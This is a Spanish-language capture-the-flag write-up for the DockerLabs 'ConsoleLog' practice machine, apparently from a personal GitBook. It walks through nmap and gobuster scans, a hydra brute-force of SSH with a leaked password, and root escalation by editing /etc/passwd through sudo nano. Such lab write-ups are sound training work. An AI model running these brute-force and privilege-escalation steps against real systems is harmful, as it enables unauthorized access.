> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/consolelog.md).

# ConsoleLog

## Maquina

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FEAZTBi8reqH2SJh5RR0f%2Fimage.png?alt=media&amp;token=b7a89fc9-7fc0-4054-92a0-2120d3bb2150" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Mi Sitio
3000/tcp open  http    syn-ack ttl 64 Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Error
5000/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFJIePZQO0+XTgRiD8dhTqAlZt67hcjqMdzF07uhb1UjckCZ085MdTFxg46SKaJRwi1OiB8GT+SeIlFbvm99Xkc=
|   256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESd2Y3i6yTEAk2fPflmI3fA4pNsVZub38LafzPteZlz
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backend              (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/server-status        (Status: 403) [Size: 275]
Progress: 217424 / 220561 (98.58%)
===============================================================
Finished
===============================================================
```

### Web

Si entramos el la web, en la pagina principal solo habrá un botón, si nos metemos en el código de esta encontraremos una redireccion a un archivo `.js`:

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FvswonZwePdileYqedOkt%2Fimage.png?alt=media&amp;token=71f44b9f-2c3e-401a-a9c8-f3431cfaaee1" alt=""><figcaption></figcaption></figure>

Si nos metemos en los otros directorios que hemos sacado con `gobuster` encontraremos mas directorios, el único a destacar es este, ya que parece ser que contienen una contraseña.

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fb5xws5CwNV2Hs6YNyWzP%2Fimage.png?alt=media&amp;token=9902eda6-1503-41f0-92e2-78f5436c338e" alt=""><figcaption></figcaption></figure>

## Explotación

Teniendo esta contraseña, podemos intentar hacer una ataque de fuerza bruta.

```bash
hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas 172.17.0.2 ssh -s 5000 -t 50
```

```
[5000][ssh] host: 172.17.0.2   login: lovely   password: lapassworddebackupmaschingonadetodas
```

Con esto obtenemos un usuario para poder conectarnos por ssh:

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FvxnW3uYl7P1fDdkEnjhq%2Fimage.png?alt=media&amp;token=75f62645-d0e7-4912-b9b6-5193f27a3fd3" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario:

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FBQ6axU23h71JHgxfqPC6%2Fimage.png?alt=media&amp;token=3b1ae5b6-2dea-4025-969a-7a55c972091b" alt=""><figcaption></figcaption></figure>

Como tenemos permisos de root con nano podemos editar el archivo passwd y quitarle la contraseña a root:

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2Fs4HhumEhSMxU1VdJBVYF%2Fimage.png?alt=media&amp;token=d2d410eb-efb4-4abb-979f-c006cc6d373a" alt=""><figcaption></figcaption></figure>

De esta manera nos podríamos cambiar al usuario root sin necesidad de una contraseña:

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FFHgS06X4ihXMw3UqdUrv%2Fimage.png?alt=media&amp;token=a855460d-89d6-4faa-aebb-8b6c7ec53f55" alt=""><figcaption></figcaption></figure>

## Conclusion

Es una maquina bastante fácil, que en mi opinion sirve para asentar conceptos básicos.